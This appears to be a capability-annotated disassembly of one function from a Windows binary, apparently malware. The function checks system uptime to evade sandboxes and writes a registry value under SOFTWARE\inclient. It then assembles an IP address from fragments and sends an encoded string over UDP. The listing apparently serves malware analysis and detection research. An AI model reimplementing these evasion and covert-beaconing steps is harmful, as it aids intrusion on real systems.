Function at 0x402310
Capabilities:
Convert ip address from string
Create udp socket
Initialize winsock library
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4246ef
mov eax, dword fs:[0]
push eax
sub esp, 0x3f8
mov eax, dword [0x538014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x103400
mov byte [ebp - 0x3e5], 0
call fcn.00409009
add esp, 4
mov esi, eax
push 0x103400
push 0x431658
lea eax, [esi + 0x1033ff]
push esi
call fcn.0040a520
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x30d40
jg 0x402e1a
sub esp, 0x18
mov ecx, esi
call fcn.00403740
add esp, 0x18
test eax, eax
je 0x40240d
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [ebp - 0x3ec]
push eax
push str.SOFTWAREinclient
push closesocket
mov dword [ebp - 0x3f4], 2
mov dword [ebp - 0x3ec], 0
call esi
test eax, eax
jne 0x402406
lea eax, [ebp - 0x3f8]
push eax
push str.parts
push dword [ebp - 0x3ec]
call esi
test eax, eax
jne 0x402406
push 4
lea eax, [ebp - 0x3f4]
push eax
push 4
push 0
push 0x534b00
push dword [ebp - 0x3f8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x402406
push dword [ebp - 0x3ec]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 0x3e5], 1
lea eax, [ebp - 0x404]
push eax
call fcn.0040d2dc
lea eax, [ebp - 0x3f0]
push eax
call fcn.0040d2dc
push dword [ebp - 0x400]
push dword [ebp - 0x404]
push dword [ebp - 0x3ec]
push dword [ebp - 0x3f0]
call fcn.0040d33a
fdiv qword [0x534c58]
add esp, 0x18
fstp qword [ebp - 0x3fc]
movsd xmm0, qword [ebp - 0x3fc]
comisd xmm0, xmmword [0x534c50]
jae 0x4024c1
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
push 0x3e8
call esi
lea eax, [ebp - 0x3f0]
push eax
call fcn.0040d2dc
push dword [ebp - 0x400]
push dword [ebp - 0x404]
push dword [ebp - 0x3ec]
push dword [ebp - 0x3f0]
call fcn.0040d33a
fdiv qword [0x534c58]
add esp, 0x14
fstp qword [ebp - 0x3fc]
movsd xmm0, qword [ebp - 0x3fc]
comisd xmm0, xmmword [0x534c50]
jb 0x402470
push 3
mov dword [ebp - 0x108], 0
lea ecx, [ebp - 0x108]
push 0x534b04
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0xf
mov byte [ebp - 0x108], 0
call fcn.00403100
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x168]
push 1
mov dword [ebp - 0x168], 0
push 0x534b08
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x154], 0xf
mov byte [ebp - 0x168], 0
call fcn.00403100
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1e0]
push 3
mov dword [ebp - 0x1e0], 0
push 0x534b0c
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x1cc], 0xf
mov byte [ebp - 0x1e0], 0
call fcn.00403100
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1c8]
push 4
mov dword [ebp - 0x1c8], 0
push str..196
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1b4], 0xf
mov byte [ebp - 0x1c8], 0
call fcn.00403100
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1b0]
push 1
mov dword [ebp - 0x1b0], 0
push 0x534b08
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0xf
mov byte [ebp - 0x1b0], 0
call fcn.00403100
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x198]
push 2
mov dword [ebp - 0x198], 0
push 0x534b18
mov dword [ebp - 0x188], 0
mov dword [ebp - 0x184], 0xf
mov byte [ebp - 0x198], 0
call fcn.00403100
mov byte [ebp - 4], 5
mov eax, closesocket
mov ecx, dword [ebp - 0xf8]
sub eax, ecx
mov edx, dword [ebp - 0x158]
cmp eax, edx
jb 0x402e36
cmp dword [ebp - 0xf4], 0x10
lea eax, [ebp - 0x108]
lea ebx, [ebp - 0x168]
mov dword [ebp - 0x120], 0
cmovae eax, dword [ebp - 0x108]
lea edi, [ebp - 0x120]
cmp dword [ebp - 0x154], 0x10
mov esi, 0xf
mov dword [ebp - 0x3f8], eax
cmovae ebx, dword [ebp - 0x168]
mov dword [ebp - 0x3f4], ebx
lea ebx, [ecx + edx]
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 0
cmp ebx, esi
jbe 0x402732
cmp ebx, 0x10
mov esi, ebx
cmovb esi, dword [0x534b70]
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x4026ec
mov esi, closesocket
mov ecx, 0x80000023
push ecx
call fcn.00408fcb
add esp, 4
test eax, eax
je 0x402e40
mov ecx, dword [ebp - 0xf8]
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x402726
mov eax, 0x16
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
cmp eax, 0x1000
jb 0x40270d
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x402e3b
jmp 0x4026ca
test eax, eax
je 0x402724
push eax
call fcn.00408fcb
mov ecx, dword [ebp - 0xf8]
add esp, 4
mov edi, eax
jmp 0x402726
xor edi, edi
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x120], edi
push ecx
push eax
push edi
mov dword [ebp - 0x110], ebx
mov dword [ebp - 0x10c], esi
call fcn.0040a520
push dword [ebp - 0x158]
mov eax, dword [ebp - 0xf8]
push dword [ebp - 0x3f4]
add eax, edi
push eax
call fcn.0040a520
mov byte [edi + ebx], 0
lea eax, [ebp - 0x1e0]
mov byte [ebp - 4], 6
push eax
lea edx, [ebp - 0x120]
lea ecx, [ebp - 0x228]
call fcn.00403260
lea ecx, [ebp - 0x1c8]
mov byte [ebp - 4], 7
push ecx
mov edx, eax
lea ecx, [ebp - 0x210]
call fcn.00403260
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 4], 8
push ecx
mov edx, eax
lea ecx, [ebp - 0x1f8]
call fcn.00403260
lea ecx, [ebp - 0x198]
mov byte [ebp - 4], 9
push ecx
mov edx, eax
lea ecx, [ebp - 0x180]
call fcn.00403260
add esp, 0x28
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x1e4]
cmp edx, 0x10
jb 0x402809
mov ecx, dword [ebp - 0x1f8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4027ff
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e40
push edx
push ecx
call fcn.00408ffb
add esp, 8
mov dword [ebp - 0x1e8], 0
mov dword [ebp - 0x1e4], 0xf
mov byte [ebp - 0x1f8], 0
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x1fc]
cmp edx, 0x10
jb 0x402862
mov ecx, dword [ebp - 0x210]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402858
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e40
push edx
push ecx
call fcn.00408ffb
add esp, 8
mov dword [ebp - 0x200], 0
mov dword [ebp - 0x1fc], 0xf
mov byte [ebp - 0x210], 0
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x214]
cmp edx, 0x10
jb 0x4028bb
mov ecx, dword [ebp - 0x228]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4028b1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e40
push edx
push ecx
call fcn.00408ffb
add esp, 8
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x214], 0xf
mov byte [ebp - 0x228], 0
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x10c]
cmp edx, 0x10
jb 0x402914
mov ecx, dword [ebp - 0x120]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40290a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e40
push edx
push ecx
call fcn.00408ffb
add esp, 8
cmp dword [ebp - 0x16c], 0x10
lea eax, [ebp - 0x3e0]
push eax
lea edi, [ebp - 0x180]
mov dword [ebp - 0x110], 0
cmovae edi, dword [ebp - 0x180]
push 0x202
mov dword [ebp - 0x10c], 0xf
mov byte [ebp - 0x120], 0
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x4029f7
cmp byte [ebp - 0x3e0], 2
jne 0x4029f1
mov eax, dword [ebp - 0x3e0]
shr eax, 8
cmp al, 2
jne 0x4029f1
push 0
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [sym.imp.WS2_32.dll_htons]
mov ebx, 2
push 0x2734
mov dword [ebp - 0x3e4], eax
mov word [ebp - 0x240], bx
call esi
mov word [ebp - 0x23e], ax
lea eax, [ebp - 0x23c]
push eax
push edi
push ebx
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0
call dword [sym.imp.WS2_32.dll_htonl]
push 0x7d2
mov dword [ebp - 0x24c], eax
mov word [ebp - 0x250], bx
call esi
mov word [ebp - 0x24e], ax
mov dword [ebp - 0x230], 0x7d2
mov dword [ebp - 0x22c], 0x2734
jmp 0x4029f7
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea ecx, [ebp - 0xf0]
call fcn.00402070
mov byte [ebp - 4], 0xf
lea ebx, [ebp - 0xf0]
cmp dword [ebp - 0xdc], 0x10
mov esi, dword [ebp - 0xe0]
jb 0x402a27
mov edi, dword [ebp - 0xf0]
add esi, edi
mov ebx, edi
jmp 0x402a31
lea ecx, [ebp - 0xf0]
add esi, ecx
mov edi, ecx
cmp edi, esi
je 0x402a4b
sub ebx, edi
movsx eax, byte [edi]
push eax
call fcn.0040d700
mov byte [edi + ebx], al
add esp, 4
inc edi
cmp edi, esi
jne 0x402a37
push 5
mov dword [ebp - 0x150], 0
lea ecx, [ebp - 0x150]
push str.trreg
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 0xf
mov byte [ebp - 0x150], 0
call fcn.00403100
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x138]
push 8
mov dword [ebp - 0x138], 0
push str.omrrwznm
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0xf
mov byte [ebp - 0x138], 0
call fcn.00403100
push 0xc8
lea eax, [ebp - 0xd8]
mov byte [ebp - 4], 0x11
push 0
push eax
call fcn.0040aaa0
add esp, 0xc
cmp byte [ebp - 0x3e5], 0
je 0x402b5c
cmp dword [ebp - 0xdc], 0x10
lea ecx, [ebp - 0xf0]
lea eax, [ebp - 0x150]
cmovae ecx, dword [ebp - 0xf0]
cmp dword [ebp - 0x13c], 0x10
push ecx
cmovae eax, dword [ebp - 0x150]
push eax
lea eax, [ebp - 0xd8]
push str._s_s2
push eax
call fcn.00401fd0
add esp, 0x10
lea edx, [ebp - 0x138]
cmp dword [ebp - 0x124], 0x10
lea ecx, [ebp - 0xd8]
cmovae edx, dword [ebp - 0x138]
call fcn.00401260
mov edx, eax
lea esi, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x402b42
sub edx, esi
lea ecx, [ebp - 0x3e4]
push edx
mov edx, eax
call fcn.00404830
add esp, 4
push dword [ebp - 0x3e4]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov edx, dword [ebp - 0x124]
cmp edx, 0x10
jb 0x402ba8
mov ecx, dword [ebp - 0x138]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402b9e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e45
push edx
push ecx
call fcn.00408ffb
add esp, 8
mov edx, dword [ebp - 0x13c]
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0xf
mov byte [ebp - 0x138], 0
cmp edx, 0x10
jb 0x402bfd
mov ecx, dword [ebp - 0x150]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402bf3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e45
push edx
push ecx
call fcn.00408ffb
add esp, 8
mov edx, dword [ebp - 0xdc]
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 0xf
mov byte [ebp - 0x150], 0
cmp edx, 0x10
jb 0x402c52
mov ecx, dword [ebp - 0xf0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402c48
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e45
push edx
push ecx
call fcn.00408ffb
add esp, 8
mov edx, dword [ebp - 0x16c]
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xdc], 0xf
mov byte [ebp - 0xf0], 0
cmp edx, 0x10
jb 0x402ca7
mov ecx, dword [ebp - 0x180]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402c9d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e45
push edx
push ecx
call fcn.00408ffb
add esp, 8
mov edx, dword [ebp - 0x184]
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x16c], 0xf
mov byte [ebp - 0x180], 0
cmp edx, 0x10
jb 0x402cfc
mov ecx, dword [ebp - 0x198]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402cf2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e45
push edx
push ecx
call fcn.00408ffb
add esp, 8
mov edx, dword [ebp - 0x19c]
cmp edx, 0x10
jb 0x402d36
mov ecx, dword [ebp - 0x1b0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402d2c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e45
push edx
push ecx
call fcn.00408ffb
add esp, 8
mov edx, dword [ebp - 0x1b4]
cmp edx, 0x10
jb 0x402d70
mov ecx, dword [ebp - 0x1c8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402d66
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e45
push edx
push ecx
call fcn.00408ffb
add esp, 8
mov edx, dword [ebp - 0x1cc]
cmp edx, 0x10
jb 0x402daa
mov ecx, dword [ebp - 0x1e0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402da0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e45
push edx
push ecx
call fcn.00408ffb
add esp, 8
mov eax, dword [ebp - 0x154]
cmp eax, 0x10
jb 0x402de2
mov edx, dword [ebp - 0x168]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x402dd8
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e45
push ecx
push edx
call fcn.00408ffb
add esp, 8
mov eax, dword [ebp - 0xf4]
cmp eax, 0x10
jb 0x402e1a
mov edx, dword [ebp - 0x108]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x402e10
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e45
push ecx
push edx
call fcn.00408ffb
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00408fbd
mov esp, ebp
pop ebp
ret
call fcn.00402010
call fcn.00401190
call fcn.0040d1ff
call fcn.0040d1ff
int3